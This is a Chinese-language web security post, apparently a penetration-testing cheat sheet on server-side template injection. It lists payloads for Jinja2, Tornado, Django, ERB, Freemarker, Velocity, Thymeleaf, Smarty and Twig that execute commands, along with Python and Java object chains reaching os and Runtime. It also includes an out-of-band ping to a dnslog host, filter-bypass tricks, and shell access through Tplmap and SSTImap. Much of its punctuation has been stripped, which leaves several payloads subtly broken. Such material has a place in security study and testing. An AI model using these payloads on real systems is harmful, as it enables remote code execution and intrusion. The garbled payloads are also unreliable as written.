web安全-SSTI(服务器模板注入)

📅 2026/7/4 18:04:25
web安全-SSTI(服务器模板注入)
1. 核心概念与分类SSTI的本质是用户输入被作为模板内容直接拼接并渲染。根据结果可分为有回显注入的表达式结果直接显示在页面上。盲注/无回显结果不显示需通过DNS外带、时间延迟等方式判断。2. 常见模板引擎与测试Payload关键识别点确定模板引擎是第一步可通过报错信息、特定语法或通用测试值如${7*7}、{{7*7}}、% 7*7 %的反应来判断。语言模板引擎典型Payload / 特征PythonJinja2(Flask){{7*7}}- 49{{config}}可泄露配置。Tornado{{7*7}}{% import os %}{{os.system(whoami)}}Django{{7*7}}-77字符串拼接{{settings.SECRET_KEY}}RubyERB% 7*7 %% system(ls) %JavaFreemarker${7*7}#assign exfreemarker.template.utility.Execute?new() ${ex(ls)}Velocity#set($x7*7)$x#set($e$class.inspect(java.lang.Runtime).getRuntime().exec(whoami))Thymeleaf${7*7}${T(java.lang.Runtime).getRuntime().exec(calc)}需看版本PHPSmarty{$7*7}{php}echoid;{/php}旧版Twig{{7*7}}{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(whoami)}}3. 通用利用思路构造Payload的方法论探寻基类找到当前上下文可用的对象向上追溯其基类最终找到所有类的根类如Java的ObjectPython的object。寻找危险子类从根类向下寻找可用的危险子类或方法如可以执行命令的Runtime、os可以读文件的File可以进行JNDI注入的InitialContext等。实例化与调用通过模板引擎的语法实例化该类并调用其方法。Python (Jinja2) 经典链# 找到object.__class__.__mro__[2] # 找子类.__class__.__mro__[2].__subclasses__() # 找可执行命令的类如warnings.catch_warnings其__init__方法有__builtins__ {{.__class__.__mro__[2].__subclasses__()[40](whoami,shellTrue,stdout-1).communicate()}}Java (Freemarker) 经典链// 直接利用内建函数执行命令 #assign exfreemarker.template.utility.Execute?new() ${ex(id)} // 或利用Runtime ${.getClass().forName(java.lang.Runtime).getRuntime().exec(id)}4. 攻击面挖掘黑盒功能点渗透测试中应重点关注以下可能使用模板的功能点用户资料/页面个性化如用户名、昵称、签名档的显示。尝试填入{{7*7}}看个人主页是否解析。博客/论坛帖子评论、文章内容支持富文本或特定标记语言时。错误页面某些框架允许自定义错误页错误页内容若包含用户输入如URL路径可能导致SSTI。邮件内容系统发送的邮件内容由模板生成且部分内容用户可控如找回密码链接中的用户名。密码重置功能重置链接中的Token参数若被模板解析。模板编辑功能后台允许编辑模板文件高危功能。5. 工具使用建议Tplmap经典工具支持多种引擎的自动化检测与利用。SSTImap更活跃的fork支持更多引擎和绕过技术。使用场景检测阶段用工具的-u或--data参数快速探测所有已知引擎。利用阶段工具成功识别引擎后可使用--os-shell尝试获取交互式shell。注意工具并非万能复杂环境或WAF绕过仍需手工调整。6. 实战注意事项与技巧报错是金故意输入错误语法如{{7*7}}从详细报错信息中获取模板引擎类型、框架版本甚至部分代码路径。盲注与带外无回显时可尝试执行ping、curl、dnslog等带外通道命令。Python示例{{.__class__.__mro__[2].__subclasses__()[40](ping your.dnslog.cn, shellTrue)}}绕过过滤拼接cat或c~at不同语言语法编码使用Unicode、Hex绕过关键字过滤。利用环境变量$PATH等。利用模板引擎特性如Jinja2的|attr()过滤器绕过点号过滤。权限与语言确认后端语言和框架后针对性地构建利用链。Java SSTI如Freemarker常能直接RCEPython SSTI如Jinja2则需要更复杂的对象链寻找。总结SSTI的核心是将用户输入与模板渲染代码混淆。挖掘时要对任何可能被“二次处理”和“格式化”的用户输入保持敏感。利用时需遵循“基类→子类→危险方法”的思路结合有回显/无回显手法并善用工具辅助识别。在复杂的Java框架中SSTI常与表达式注入如SpEL结合形成新的攻击面。